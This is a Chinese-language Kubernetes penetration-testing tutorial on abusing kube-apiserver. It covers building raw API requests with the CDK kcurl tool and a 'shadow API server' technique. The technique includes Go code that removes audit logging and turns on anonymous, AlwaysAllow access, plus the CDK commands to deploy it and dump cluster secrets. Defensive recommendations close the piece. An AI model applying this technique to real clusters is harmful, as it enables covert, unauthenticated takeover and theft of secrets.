K8s渗透测试之kube-apiserver利用
字数 1742 2025-08-10 08:28:45
Kubernetes渗透测试:kube-apiserver利用技术详解
1. kube-apiserver概述
kube-apiserver是Kubernetes控制平面的核心组件,具有以下关键特性:
- 下游与etcd(Kubernetes数据库)通信
- 通过kubelet控制每个节点的行为
- 上游暴露API供pod内部编程调用和管理员从外部通过kubectl调用
- 默认支持两个端口:
- 8080免鉴权端口(最新Kubernetes版本默认已禁用)
- 6443鉴权端口
2. 常见攻击路径
2.1 直接攻击API Server
- 通过Kubernetes配置不当或鉴权不当直接攻破API Server
- 参考案例:《K8s 6443批量入侵调查》
2.2 通过业务应用横向移动
- 攻击者通过业务应用(如Web RCE)攻入pod
- 在pod中寻找高权限的service account
- 利用该service account与API Server进行横向移动
3. 手动构造kubectl请求
3.1 场景需求
当攻破的pod是缩减的容器环境,没有kubectl或curl等命令时,可通过以下方式与api-server通信:
- 植入kubectl
- 代理流量
- 手工构造HTTP请求与apiserver通信
3.2 使用CDK的kcurl工具
CDK的tool模块提供了kcurl命令,支持三种通信模式:
- 匿名访问
- 通过pod内置的service account token鉴权访问
- 通过指定token文件鉴权
基本语法:
cdk kcurl (anonymous|default|<token-path>) <method> <url> [<data>]
3.3 kubectl命令转换为HTTP请求
以部署pod为例,yaml文件:
apiVersion: v1
kind: Pod
metadata:
name: cdxy-test-2021
spec:
containers:
- image: ubuntu:latest
name: container
args:
- "sleep"
- "infinity"
转换方法:
- 使用
--v=8参数捕获kubectl的HTTP请求:
kubectl apply -f ubuntu.yaml --v=8
- 在pod中使用
cdk kcurl重放捕获的请求
替代方法:使用kubectl create直接生成JSON格式的post data:
kubectl create -f ubuntu.yaml --edit -o json
4. Shadow API Server技术
4.1 技术概述
- 创建具有API Server功能的Pod
- 通过新的"shadow api server"下发命令
- 优势:
- 可开放更大权限
- 放弃采集审计日志
- 不影响原有api-server功能
- 日志不会被原有api-server记录
- 提供隐蔽性和持久控制
4.2 前提条件
已获取master node的create pod权限
4.3 实施步骤
- 获取原有apiserver配置:
kubectl get pods -n kube-system | grep kube-apiserver
kubectl get pods -n kube-system kube-apiserver-cn-beijing.192.168.0.150 -o yaml
- 关键配置修改点:
- 保留pod原有的通信凭据和其他启动参数
- 修改command字段以获取更多权限
- 配置修改函数示例(Go语言):
func generateShadowApiServerConf(json string) string {
// 删除不必要字段
json, _ = sjson.Delete(json, "status")
json, _ = sjson.Delete(json, "metadata.selfLink")
// ...其他删除操作...
// 修改名称和标签
json, _ = sjson.Set(json, "metadata.name", gjson.Get(json, "metadata.name").String()+"-shadow")
json, _ = sjson.Set(json, "metadata.labels.component", gjson.Get(json, "metadata.labels.component").String()+"-shadow")
// 移除审计日志以增强隐蔽性
reg := regexp.MustCompile(`(")(--audit-log-[^"]*?)(")`)
json = reg.ReplaceAllString(json, "${1}${3}")
// 设置关键参数
// 允许特权容器
reg = regexp.MustCompile(`("--allow-privileged\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}true${3}")
// 设置insecure-port为0.0.0.0:9443
reg = regexp.MustCompile(`("--insecure-port\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}9443${3}")
// 设置anonymous-auth为true
reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}true${3}")
// 设置authorization-mode=AlwaysAllow
reg = regexp.MustCompile(`("--authorization-mode\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}AlwaysAllow${3}")
return json
}
4.4 自动化渗透流程
- 在攻入的pod内部查找API-server访问地址和凭据
- 连接apiserver判断权限
- 获取apiserver原有配置
- 修改配置
- 重新部署shadow apiserver
4.5 使用CDK工具实施
cdk run k8s-shadow-apiserver default
其中default参数表示使用pod默认的service account token鉴权
5. 测试流程
- 在pod中使用CDK寻找弱点:
cdk evaluate
- 发现高权限service account后,部署shadow apiserver:
cdk run k8s-shadow-apiserver default
- 部署成功后,可通过新的shadow apiserver代理所有渗透操作:
- 由于打开了无鉴权端口,任何pod均可直接向shadow apiserver发起请求管理集群
- 可执行如dump k8s secrets等操作
6. 防御建议
- 禁用或保护8080端口
- 加强6443端口的认证和授权
- 限制pod的service account权限
- 启用并定期检查审计日志
- 监控异常的API Server实例
- 实施网络策略限制pod间通信
- 定期检查master node上的pod配置
7. 参考资源
- CDK工具:https://github.com/cdk-team/CDK
- kcurl文档:https://github.com/cdk-team/CDK/wiki/Tool:-kcurl
- k8s-shadow-apiserver实现:https://github.com/cdk-team/CDK/blob/main/pkg/exploit/k8s_shadow_apiserver.go